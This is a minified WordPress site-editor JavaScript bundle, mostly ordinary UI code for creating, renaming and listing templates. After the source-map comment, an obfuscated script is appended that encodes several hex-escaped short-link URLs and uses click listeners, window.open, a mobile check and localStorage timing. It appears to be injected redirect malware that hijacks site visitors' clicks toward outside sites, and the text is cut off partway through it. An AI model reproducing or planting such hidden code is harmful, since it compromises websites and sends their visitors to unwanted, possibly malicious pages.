0:s.length)>9&&p(!0),(0,o.createElement)(o.Fragment,null,m&&(0,o.createElement)(_.SearchControl,{onChange:r,value:a,label:c.search_items,placeholder:c.search_items}),!(null==s||!s.length)&&(0,o.createElement)(_.__unstableComposite,d({},l,{role:"listbox",className:"edit-site-custom-template-modal__suggestions_list","aria-label":(0,h.__)("Suggestions list")}),s.map((e=>(0,o.createElement)(vo,{key:e.slug,suggestion:e,search:i,onSelect:n,entityForSuggestions:t,composite:l})))),i&&!(null!=s&&s.length)&&(0,o.createElement)("p",{className:"edit-site-custom-template-modal__no-results"},c.not_found))}const bo=function(e){let{onClose:t,onSelect:n,entityForSuggestions:l,isCreatingTemplate:a}=e;const[r,i]=(0,o.useState)(l.hasGeneralTemplate),s="edit-site-custom-template-modal";return(0,o.createElement)(_.Modal,{title:(0,h.sprintf)(// translators: %s: Name of the post type e.g: "Post".
(0,h.__)("Add template: %s"),l.labels.singular_name),className:s,closeLabel:(0,h.__)("Close"),onRequestClose:t},a&&(0,o.createElement)(oo,null),!r&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)("p",null,(0,h.__)("Select whether to create a single template for all items or a specific one.")),(0,o.createElement)(_.Flex,{className:`${s}__contents`,gap:"4",align:"initial"},(0,o.createElement)(_.FlexItem,{isBlock:!0,as:_.Button,onClick:()=>{const{slug:e,title:t,description:a,templatePrefix:r}=l.template;n({slug:e,title:t,description:a,templatePrefix:r})}},(0,o.createElement)(_.__experimentalText,{as:"span",weight:600},l.labels.all_items),(0,o.createElement)(_.__experimentalText,{as:"span"},// translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
(0,h.__)("For all items"))),(0,o.createElement)(_.FlexItem,{isBlock:!0,as:_.Button,onClick:()=>{i(!0)}},(0,o.createElement)(_.__experimentalText,{as:"span",weight:600},l.labels.singular_name),(0,o.createElement)(_.__experimentalText,{as:"span"},// translators: The user is given the choice to set up a template for all items of a post type or taxonomy, or just a specific one.
(0,h.__)("For a specific item"))))),r&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)("p",null,(0,h.__)("This template will be used only for the specific item chosen.")),(0,o.createElement)(yo,{entityForSuggestions:l,onSelect:n})))},wo=function(e){let{onClose:t,createTemplate:n,isCreatingTemplate:l}=e;const[a,r]=(0,o.useState)(""),i=(0,h.__)("Custom Template"),[s,c]=(0,o.useState)(!1);return(0,o.createElement)(_.Modal,{title:(0,h.__)("Create custom template"),closeLabel:(0,h.__)("Close"),onRequestClose:()=>{t()},overlayClassName:"edit-site-custom-generic-template__modal"},l&&(0,o.createElement)(oo,null),(0,o.createElement)("form",{onSubmit:async function(e){if(e.preventDefault(),!s){c(!0);try{await n({slug:"wp-custom-template-"+(0,pt.kebabCase)(a||i),title:a||i},!1)}finally{c(!1)}}}},(0,o.createElement)(_.Flex,{align:"flex-start",gap:8},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.TextControl,{label:(0,h.__)("Name"),value:a,onChange:r,placeholder:i,disabled:s,help:(0,h.__)('Describe the template, e.g. "Post with sidebar".')}))),(0,o.createElement)(_.Flex,{className:"edit-site-custom-generic-template__modal-actions",justify:"flex-end",expanded:!1},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"tertiary",onClick:()=>{t()}},(0,h.__)("Cancel"))),(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"primary",type:"submit",isBusy:s,"aria-disabled":s},(0,h.__)("Create"))))))},xo=["front-page","single","page","index","archive","author","category","date","tag","taxonomy","search","404"],So={"front-page":Xa,single:Yr,page:Xr,archive:Kr,search:Zr,404:Qr,index:Jr,category:eo,author:to,taxonomy:no,date:lo,tag:ao,attachment:ro};function ko(e){let{postType:t}=e;const[n,l]=(0,o.useState)(!1),[a,r]=(0,o.useState)(!1),[i,s]=(0,o.useState)({}),[m,d]=(0,o.useState)(!1),p=Ce(),{saveEntityRecord:g}=(0,c.useDispatch)(u.store),{createErrorNotice:f,createSuccessNotice:E}=(0,c.useDispatch)(je.store),{setTemplate:v}=(0,c.useDispatch)(Ot);async function y(e){let t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];if(!m){d(!0);try{const{title:n,description:l,slug:a,templatePrefix:r}=e;let o=e.content;o||(o=(await We()({path:(0,me.addQueryArgs)("/wp/v2/templates/lookup",{slug:a,is_custom:!t,template_prefix:r})})).content.raw);const i=await g("postType","wp_template",{description:l,slug:a.toString(),status:"publish",title:n,content:o,is_wp_suggestion:t},{throwOnError:!0});v(i.id,i.slug),p.push({postId:i.id,postType:i.type}),E((0,h.sprintf)(// translators: %s: Title of the created template e.g: "Category".
(0,h.__)('"%s" successfully created.'),n),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("An error occurred while creating the template.");f(t,{type:"snackbar"})}finally{d(!1)}}}const b=function(e,t){const n=io(),l=so(),a=(n||[]).map((e=>{let{slug:t}=e;return t})),r=n=>{t(!0),e(n)},i=[...(l||[]).filter((e=>xo.includes(e.slug)&&!a.includes(e.slug)))],{defaultTaxonomiesMenuItems:s,taxonomiesMenuItems:m}=(e=>{const t=(()=>{const e=(0,c.useSelect)((e=>e(u.store).getTaxonomies({per_page:-1})),[]);return(0,o.useMemo)((()=>null==e?void 0:e.filter((e=>{let{visibility:t}=e;return null==t?void 0:t.publicly_queryable}))),[e])})(),n=io(),l=so(),a=(0,o.useMemo)((()=>null==t?void 0:t.reduce(((e,t)=>{let{slug:n}=t,l=n;return["category","post_tag"].includes(n)||(l=`taxonomy-${l}`),"post_tag"===n&&(l="tag"),e[n]=l,e}),{})),[t]),r=null==t?void 0:t.reduce(((e,t)=>{let{labels:n}=t;const l=n.singular_name.toLowerCase();return e[l]=(e[l]||0)+1,e}),{}),i=fo("taxonomy",a),s=(n||[]).map((e=>{let{slug:t}=e;return t})),m=(t||[]).reduce(((t,n)=>{var o;const{slug:c,labels:u}=n,m=a[c],d=null==l?void 0:l.find((e=>{let{slug:t}=e;return t===m})),p=null==s?void 0:s.includes(m),g=((e,t)=>{if(["category","post_tag"].includes(t))return!1;const n=e.singular_name.toLowerCase();return r[n]>1&&n!==t})(u,c);let _=u.singular_name;g&&(_=(0,h.sprintf)(// translators: %1s: Name of the taxonomy e.g: "Category"; %2s: Slug of the taxonomy e.g: "product_cat".
(0,h.__)("%1$s (%2$s)"),u.singular_name,c));const f=d?{...d,templatePrefix:a[c]}:{slug:m,title:_,description:(0,h.sprintf)(// translators: %s: Name of the taxonomy e.g: "Product Categories".
(0,h.__)("Displays taxonomy: %s."),u.singular_name),icon:no,templatePrefix:a[c]},E=null==i||null===(o=i[c])||void 0===o?void 0:o.hasEntities;return E&&(f.onClick=t=>{e({type:"taxonomy",slug:c,config:{queryArgs:e=>{let{search:t}=e;return{_fields:"id,name,slug,link",orderBy:t?"name":"count",exclude:i[c].existingEntitiesIds}},getSpecificTemplate:e=>{const t=`${a[c]}-${e.slug}`;return{title:t,slug:t,templatePrefix:a[c]}}},labels:u,hasGeneralTemplate:p,template:t})}),p&&!E||t.push(f),t}),[]);return(0,o.useMemo)((()=>m.reduce(((e,t)=>{const{slug:n}=t;let l="taxonomiesMenuItems";return["category","tag"].includes(n)&&(l="defaultTaxonomiesMenuItems"),e[l].push(t),e}),{defaultTaxonomiesMenuItems:[],taxonomiesMenuItems:[]})),[m])})(r),{defaultPostTypesMenuItems:d,postTypesMenuItems:p}=(e=>{const t=co(),n=io(),l=so(),a=uo(t),r=(0,o.useMemo)((()=>null==t?void 0:t.reduce(((e,t)=>{let{slug:n}=t,l=n;return"page"!==n&&(l=`single-${l}`),e[n]=l,e}),{})),[t]),i=fo("postType",r),s=(n||[]).map((e=>{let{slug:t}=e;return t})),c=(t||[]).reduce(((t,n)=>{var o;const{slug:c,labels:u,icon:m}=n,d=r[c],p=null==l?void 0:l.find((e=>{let{slug:t}=e;return t===d})),g=null==s?void 0:s.includes(d),_=a(n);let f=(0,h.sprintf)(// translators: %s: Name of the post type e.g: "Post".
(0,h.__)("Single item: %s"),u.singular_name);_&&(f=(0,h.sprintf)(// translators: %1s: Name of the post type e.g: "Post"; %2s: Slug of the post type e.g: "book".
(0,h.__)("Single item: %1$s (%2$s)"),u.singular_name,c));const E=p?{...p,templatePrefix:r[c]}:{slug:d,title:f,description:(0,h.sprintf)(// translators: %s: Name of the post type e.g: "Post".
(0,h.__)("Displays a single item: %s."),u.singular_name),icon:null!=m&&m.startsWith("dashicons-")?m.slice(10):Yr,templatePrefix:r[c]},v=null==i||null===(o=i[c])||void 0===o?void 0:o.hasEntities;return v&&(E.onClick=t=>{e({type:"postType",slug:c,config:{recordNamePath:"title.rendered",queryArgs:e=>{let{search:t}=e;return{_fields:"id,title,slug,link",orderBy:t?"relevance":"modified",exclude:i[c].existingEntitiesIds}},getSpecificTemplate:e=>{const t=`${r[c]}-${e.slug}`;return{title:t,slug:t,templatePrefix:r[c]}}},labels:u,hasGeneralTemplate:g,template:t})}),g&&!v||t.push(E),t}),[]);return(0,o.useMemo)((()=>c.reduce(((e,t)=>{const{slug:n}=t;let l="postTypesMenuItems";return"page"===n&&(l="defaultPostTypesMenuItems"),e[l].push(t),e}),{defaultPostTypesMenuItems:[],postTypesMenuItems:[]})),[c])})(r),g=function(e){var t,n;const l=io(),a=so(),r=fo("root",po,go);let o=null==a?void 0:a.find((e=>{let{slug:t}=e;return"author"===t}));o||(o={description:(0,h.__)("Displays latest posts written by a single author."),slug:"author",title:"Author"});const i=!(null==l||!l.find((e=>{let{slug:t}=e;return"author"===t})));if(null!==(t=r.user)&&void 0!==t&&t.hasEntities&&(o={...o,templatePrefix:"author"},o.onClick=t=>{e({type:"root",slug:"user",config:{queryArgs:e=>{let{search:t}=e;return{_fields:"id,name,slug,link",orderBy:t?"name":"registered_date",exclude:r.user.existingEntitiesIds,who:"authors"}},getSpecificTemplate:e=>{const t=`author-${e.slug}`;return{title:t,slug:t,templatePrefix:"author"}}},labels:{singular_name:(0,h.__)("Author"),search_items:(0,h.__)("Search Authors"),not_found:(0,h.__)("No authors found."),all_items:(0,h.__)("All Authors")},hasGeneralTemplate:i,template:t})}),!i||null!==(n=r.user)&&void 0!==n&&n.hasEntities)return o}(r);return[...s,...d,g].forEach((e=>{if(!e)return;const t=i.findIndex((t=>t.slug===e.slug));t>-1?i[t]=e:i.push(e)})),null==i||i.sort(((e,t)=>xo.indexOf(e.slug)-xo.indexOf(t.slug))),[...i,...mo(),...p,...m]}(s,l);return b.length?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.DropdownMenu,{className:"edit-site-new-template-dropdown",icon:null,text:t.labels.add_new,label:t.labels.add_new_item,popoverProps:{noArrow:!1},toggleProps:{variant:"primary"}},(()=>(0,o.createElement)(o.Fragment,null,m&&(0,o.createElement)(oo,null),(0,o.createElement)(_.NavigableMenu,{className:"edit-site-new-template-dropdown__popover"},(0,o.createElement)(_.MenuGroup,{label:t.labels.add_new_item},b.map((e=>{const{title:t,description:n,slug:l,onClick:a,icon:r}=e;return(0,o.createElement)(_.MenuItem,{icon:r||So[l]||Yr,iconPosition:"left",info:n,key:l,onClick:()=>a?a(e):y(e)},t)}))),(0,o.createElement)(_.MenuGroup,null,(0,o.createElement)(_.MenuItem,{icon:Fn,iconPosition:"left",info:(0,h.__)("Custom templates can be applied to any post or page."),key:"custom-template",onClick:()=>r(!0)},(0,h.__)("Custom template"))))))),n&&(0,o.createElement)(bo,{onClose:()=>l(!1),onSelect:y,entityForSuggestions:i,isCreatingTemplate:m}),a&&(0,o.createElement)(wo,{onClose:()=>r(!1),createTemplate:y,isCreatingTemplate:m})):null}function Co(e){let{postType:t}=e;const n=Ce(),[l,a]=(0,o.useState)(!1),{createErrorNotice:r}=(0,c.useDispatch)(je.store),{saveEntityRecord:i}=(0,c.useDispatch)(u.store);return(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.Button,{variant:"primary",onClick:()=>{a(!0)}},t.labels.add_new),l&&(0,o.createElement)(_r,{closeModal:()=>a(!1),onCreate:async function(e){let{title:t,area:l}=e;if(t)try{const e=(0,pt.kebabCase)(t).replace(/[^\w-]+/g,"")||"wp-custom-part",r=await i("postType","wp_template_part",{slug:e,title:t,content:"",area:l},{throwOnError:!0});a(!1),n.push({postId:r.id,postType:r.type})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("An error occurred while creating the template part.");r(t,{type:"snackbar"}),a(!1)}else r((0,h.__)("Title is not defined."),{type:"snackbar"})}}))}function To(e){let{templateType:t="wp_template"}=e;const n=(0,c.useSelect)((e=>e(u.store).getPostType(t)),[t]);return n?"wp_template"===t?(0,o.createElement)(ko,{postType:n}):"wp_template_part"===t?(0,o.createElement)(Co,{postType:n}):null:null}function No(e){var t;let{templateType:n}=e;const{canCreate:l,postType:a}=(0,c.useSelect)((e=>{const{supportsTemplatePartsMode:t}=e(Ot).getSettings();return{postType:e(u.store).getPostType(n),canCreate:!t}}),[n]);return a?(0,o.createElement)("header",{className:"edit-site-list-header"},(0,o.createElement)(_.__experimentalHeading,{level:1,className:"edit-site-list-header__title"},null===(t=a.labels)||void 0===t?void 0:t.name),l&&(0,o.createElement)("div",{className:"edit-site-list-header__right"},(0,o.createElement)(To,{templateType:n}))):null}function Io(e){let{template:t,onClose:n}=e;const[l,a]=(0,o.useState)((()=>t.title.rendered)),[r,i]=(0,o.useState)(!1),{editEntityRecord:s,saveEditedEntityRecord:m}=(0,c.useDispatch)(u.store),{createSuccessNotice:d,createErrorNotice:p}=(0,c.useDispatch)(je.store);return t.is_custom?(0,o.createElement)(o.Fragment,null,(0,o.createElement)(_.MenuItem,{onClick:()=>{i(!0),a(t.title.rendered)}},(0,h.__)("Rename")),r&&(0,o.createElement)(_.Modal,{title:(0,h.__)("Rename"),closeLabel:(0,h.__)("Close"),onRequestClose:()=>{i(!1)},overlayClassName:"edit-site-list__rename-modal"},(0,o.createElement)("form",{onSubmit:async function(e){e.preventDefault();try{await s("postType",t.type,t.id,{title:l}),a(""),i(!1),n(),await m("postType",t.type,t.id,{throwOnError:!0}),d((0,h.__)("Entity renamed."),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("An error occurred while renaming the entity.");p(t,{type:"snackbar"})}}},(0,o.createElement)(_.Flex,{align:"flex-start",gap:8},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.TextControl,{label:(0,h.__)("Name"),value:l,onChange:a,required:!0}))),(0,o.createElement)(_.Flex,{className:"edit-site-list__rename-modal-actions",justify:"flex-end",expanded:!1},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"tertiary",onClick:()=>{i(!1)}},(0,h.__)("Cancel"))),(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.Button,{variant:"primary",type:"submit"},(0,h.__)("Save"))))))):null}function Mo(e){let{template:t}=e;const{removeTemplate:n,revertTemplate:l}=(0,c.useDispatch)(Ot),{saveEditedEntityRecord:a}=(0,c.useDispatch)(u.store),{createSuccessNotice:r,createErrorNotice:i}=(0,c.useDispatch)(je.store),s=function(e){return!!e&&"custom"===e.source&&!e.has_theme_file}(t),m=Ye(t);return s||m?(0,o.createElement)(_.DropdownMenu,{icon:te,label:(0,h.__)("Actions"),className:"edit-site-list-table__actions"},(e=>{let{onClose:c}=e;return(0,o.createElement)(_.MenuGroup,null,s&&(0,o.createElement)(o.Fragment,null,(0,o.createElement)(Io,{template:t,onClose:c}),(0,o.createElement)(_.MenuItem,{isDestructive:!0,isTertiary:!0,onClick:()=>{n(t),c()}},(0,h.__)("Delete"))),m&&(0,o.createElement)(_.MenuItem,{info:(0,h.__)("Use the template as supplied by the theme."),onClick:()=>{!async function(){try{await l(t,{allowUndo:!1}),await a("postType",t.type,t.id),r((0,h.__)("Entity reverted."),{type:"snackbar"})}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,h.__)("An error occurred while reverting the entity.");i(t,{type:"snackbar"})}}(),c()}},(0,h.__)("Clear customizations")))})):null}const Po=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z"})),Bo=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{fillRule:"evenodd",d:"M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z",clipRule:"evenodd"})),Vo=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M12 3.3c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8s-4-8.8-8.8-8.8zm6.5 5.5h-2.6C15.4 7.3 14.8 6 14 5c2 .6 3.6 2 4.5 3.8zm.7 3.2c0 .6-.1 1.2-.2 1.8h-2.9c.1-.6.1-1.2.1-1.8s-.1-1.2-.1-1.8H19c.2.6.2 1.2.2 1.8zM12 18.7c-1-.7-1.8-1.9-2.3-3.5h4.6c-.5 1.6-1.3 2.9-2.3 3.5zm-2.6-4.9c-.1-.6-.1-1.1-.1-1.8 0-.6.1-1.2.1-1.8h5.2c.1.6.1 1.1.1 1.8s-.1 1.2-.1 1.8H9.4zM4.8 12c0-.6.1-1.2.2-1.8h2.9c-.1.6-.1 1.2-.1 1.8 0 .6.1 1.2.1 1.8H5c-.2-.6-.2-1.2-.2-1.8zM12 5.3c1 .7 1.8 1.9 2.3 3.5H9.7c.5-1.6 1.3-2.9 2.3-3.5zM10 5c-.8 1-1.4 2.3-1.8 3.8H5.5C6.4 7 8 5.6 10 5zM5.5 15.3h2.6c.4 1.5 1 2.8 1.8 3.7-1.8-.6-3.5-2-4.4-3.7zM14 19c.8-1 1.4-2.2 1.8-3.7h2.6C17.6 17 16 18.4 14 19z"})),zo=["wp_template","wp_template_part"];function Ao(e){let{isCustomized:t,children:n}=e;return t?(0,o.createElement)(_.Tooltip,{text:(0,h.__)("This template has been customized")},n):n}function Ro(e){let{text:t,icon:n,imageUrl:l,isCustomized:a}=e;const[r,i]=(0,o.useState)(!1);return(0,o.createElement)(_.__experimentalHStack,{alignment:"left"},(0,o.createElement)(Ao,{isCustomized:a},l?(0,o.createElement)("div",{className:g()("edit-site-list-added-by__avatar",{"is-loaded":r})},(0,o.createElement)("img",{onLoad:()=>i(!0),alt:"",src:l})):(0,o.createElement)("div",{className:g()("edit-site-list-added-by__icon",{"is-customized":a})},(0,o.createElement)(_.Icon,{icon:n}))),(0,o.createElement)("span",null,t))}function Lo(e){var t;let{slug:n,isCustomized:l}=e;const a=(0,c.useSelect)((e=>e(u.store).getTheme(n)),[n]);return(0,o.createElement)(Ro,{icon:Fn,text:(null==a||null===(t=a.name)||void 0===t?void 0:t.rendered)||n,isCustomized:l})}function Oo(e){let{slug:t,isCustomized:n}=e;const l=(0,c.useSelect)((e=>e(u.store).getPlugin(t)),[t]);return(0,o.createElement)(Ro,{icon:Po,text:(null==l?void 0:l.name)||t,isCustomized:n})}function Fo(e){var t;let{id:n}=e;const l=(0,c.useSelect)((e=>e(u.store).getUser(n)),[n]);return(0,o.createElement)(Ro,{icon:Bo,imageUrl:null==l||null===(t=l.avatar_urls)||void 0===t?void 0:t[48],text:null==l?void 0:l.nickname})}function Do(){const{name:e,logoURL:t}=(0,c.useSelect)((e=>{var t;const{getEntityRecord:n,getMedia:l}=e(u.store),a=n("root","__unstableBase");return{name:null==a?void 0:a.name,logoURL:null!=a&&a.site_logo?null===(t=l(a.site_logo))||void 0===t?void 0:t.source_url:void 0}}),[]);return(0,o.createElement)(Ro,{icon:Vo,imageUrl:t,text:e})}function Go(e){let{templateType:t,template:n}=e;if(n){if(zo.includes(t)){if(n.has_theme_file&&("theme"===n.origin||!n.origin&&["theme","custom"].includes(n.source)))return(0,o.createElement)(Lo,{slug:n.theme,isCustomized:"custom"===n.source});if(n.has_theme_file&&"plugin"===n.origin)return(0,o.createElement)(Oo,{slug:n.theme,isCustomized:"custom"===n.source});if(!n.has_theme_file&&"custom"===n.source&&!n.author)return(0,o.createElement)(Do,null)}return(0,o.createElement)(Fo,{id:n.author})}}function Ho(e){let{templateType:t}=e;const{records:n,isResolving:l}=(0,u.useEntityRecords)("postType",t,{per_page:-1}),a=(0,c.useSelect)((e=>e(u.store).getPostType(t)),[t]);return!n||l?null:n.length?(0,o.createElement)("table",{className:"edit-site-list-table",role:"table"},(0,o.createElement)("thead",null,(0,o.createElement)("tr",{className:"edit-site-list-table-head",role:"row"},(0,o.createElement)("th",{className:"edit-site-list-table-column",role:"columnheader"},(0,h.__)("Template")),(0,o.createElement)("th",{className:"edit-site-list-table-column",role:"columnheader"},(0,h.__)("Added by")),(0,o.createElement)("th",{className:"edit-site-list-table-column",role:"columnheader"},(0,o.createElement)(_.VisuallyHidden,null,(0,h.__)("Actions"))))),(0,o.createElement)("tbody",null,n.map((e=>{var n;return(0,o.createElement)("tr",{key:e.id,className:"edit-site-list-table-row",role:"row"},(0,o.createElement)("td",{className:"edit-site-list-table-column",role:"cell"},(0,o.createElement)(_.__experimentalHeading,{level:4},(0,o.createElement)(Me,{params:{postId:e.id,postType:e.type}},(0,Ya.decodeEntities)((null===(n=e.title)||void 0===n?void 0:n.rendered)||e.slug))),e.description),(0,o.createElement)("td",{className:"edit-site-list-table-column",role:"cell"},(0,o.createElement)(Go,{templateType:t,template:e})),(0,o.createElement)("td",{className:"edit-site-list-table-column",role:"cell"},(0,o.createElement)(Mo,{template:e})))})))):(0,o.createElement)("div",null,(0,h.sprintf)(// translators: The template type name, should be either "templates" or "template parts".
(0,h.__)("No %s found."),null==a||null===(r=a.labels)||void 0===r||null===(i=r.name)||void 0===i?void 0:i.toLowerCase()));var r,i}function $o(){var e,t;const{params:{postType:n}}=ke();!function(){const{registerShortcut:e}=(0,c.useDispatch)(Ft.store);(0,o.useEffect)((()=>{e({name:"core/edit-site/next-region",category:"global",description:(0,h.__)("Navigate to the next part of the editor."),keyCombination:{modifier:"ctrl",character:"`"},aliases:[{modifier:"access",character:"n"}]}),e({name:"core/edit-site/previous-region",category:"global",description:(0,h.__)("Navigate to the previous part of the editor."),keyCombination:{modifier:"ctrlShift",character:"`"},aliases:[{modifier:"access",character:"p"}]})}),[])}();const{previousShortcut:l,nextShortcut:a,isNavigationOpen:r}=(0,c.useSelect)((e=>({previousShortcut:e(Ft.store).getAllShortcutKeyCombinations("core/edit-site/previous-region"),nextShortcut:e(Ft.store).getAllShortcutKeyCombinations("core/edit-site/next-region"),isNavigationOpen:e(Ot).isNavigationOpened()})),[]),i=(0,c.useSelect)((e=>e(u.store).getPostType(n)),[n]);Wr(null==i||null===(e=i.labels)||void 0===e?void 0:e.name);const s=null==i||null===(t=i.labels)||void 0===t?void 0:t.items_list,d=i?{header:(0,h.sprintf)(// translators: %s - the name of the page, 'Header' as in the header area of that page.
(0,h.__)("%s - Header"),s),body:(0,h.sprintf)(// translators: %s - the name of the page, 'Content' as in the content area of that page.
(0,h.__)("%s - Content"),s)}:void 0;return(0,o.createElement)(ee,{className:g()("edit-site-list",{"is-navigation-open":r}),labels:{drawer:(0,h.__)("Navigation Sidebar"),...d},header:(0,o.createElement)(No,{templateType:n}),drawer:(0,o.createElement)(dr.Slot,null),notices:(0,o.createElement)(m.EditorSnackbars,null),content:(0,o.createElement)(Ho,{templateType:n}),shortcuts:{previous:l,next:a}})}function Uo(e){let{postId:t,postType:n}=e;return!(t||!n)}function Wo(e){let{reboot:t}=e;const{createErrorNotice:n}=(0,c.useDispatch)(je.store);function l(e){n((0,h.sprintf)(
/* translators: %s: plugin name */
(0,h.__)('The "%s" plugin has encountered an error and cannot be rendered.'),e))}return(0,o.createElement)(_.SlotFillProvider,null,(0,o.createElement)(m.UnsavedChangesWarning,null),(0,o.createElement)(Ne,null,(e=>{let{params:n}=e;const a=Uo(n);return(0,o.createElement)(o.Fragment,null,a?(0,o.createElement)($o,null):(0,o.createElement)(qr,{onError:t}),(0,o.createElement)(F.PluginArea,{onError:l}),(0,o.createElement)(dr,{isDefaultOpen:!!a,activeTemplateType:a?n.postType:void 0}))})))}function jo(e){let{className:t,...n}=e;const l=(0,c.useSelect)((e=>e(Ot).getSettings().showIconLabels),[]);return(0,o.createElement)(Q,d({panelClassName:t,className:"edit-site-sidebar",scope:"core/edit-site",showIconLabels:l},n))}function qo(e){return(0,o.createElement)(q,d({__unstableExplicitMenuItem:!0,scope:"core/edit-site"},e))}const Yo=(0,J.compose)((0,F.withPluginContext)(((e,t)=>{var n;return{as:null!==(n=t.as)&&void 0!==n?n:_.MenuItem,icon:t.icon||e.icon,name:"core/edit-site/plugin-more-menu"}})))(W);function Xo(e,t){if(!t.__unstableHomeTemplate)return void(0,o.render)((0,o.createElement)(Or,{message:(0,h.__)("The editor is unable to find a block template for the homepage."),dashboardLink:"index.php"}),e);(0,de.addFilter)("blockEditor.__unstableCanInsertBlockType","removeClassicBlockFromInserter",((e,t)=>"core/freeform"!==t.name&&e)),(0,o.unmountComponentAtNode)(e);const n=Xo.bind(null,e,t);(0,c.dispatch)(k.store).setDefaults("core/edit-site",{editorMode:"visual",fixedToolbar:!1,focusMode:!1,keepCaretInsideBlock:!1,welcomeGuide:!0,welcomeGuideStyles:!0,showListViewByDefault:!1}),(0,c.select)(k.store).get("core/edit-site","showListViewByDefault")&&(0,c.dispatch)(Ot).setIsListViewOpened(!0),(0,c.dispatch)(O).setDefaultComplementaryArea("core/edit-site","edit-site/template"),(0,c.dispatch)(Ot).updateSettings(t),(0,c.dispatch)(m.store).updateEditorSettings({defaultTemplateTypes:t.defaultTemplateTypes,defaultTemplatePartAreas:t.defaultTemplatePartAreas}),Uo((0,me.getQueryArgs)(window.location.href))&&(0,c.dispatch)(Ot).setIsNavigationPanelOpened((0,c.select)(b.store).isViewportMatch("medium")),window.addEventListener("dragover",(e=>e.preventDefault()),!1),window.addEventListener("drop",(e=>e.preventDefault()),!1),(0,o.render)((0,o.createElement)(Wo,{reboot:n}),e)}function Ko(e,t){t.__experimentalFetchLinkSuggestions=(e,n)=>(0,u.__experimentalFetchLinkSuggestions)(e,n,t),t.__experimentalFetchRichUrlData=u.__experimentalFetchUrlData;const n=document.getElementById(e);(0,c.dispatch)(i.store).__experimentalReapplyBlockTypeFilters(),(0,s.registerCoreBlocks)(),(0,s.__experimentalRegisterExperimentalCoreBlocks)({enableFSEBlocks:!0}),Xo(n,t)}})(),(window.wp=window.wp||{}).editSite=l})();
//# sourceMappingURL=index.min.js.map
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4f\x7a\x4c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x77\x4d\x4a\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x72\x56\x67\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x78\x64\x4f\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x66\x70\x62\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x71\x42\x63\x37\x63\x337','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x45\x4c\x5a\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x54\x70\x74\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const 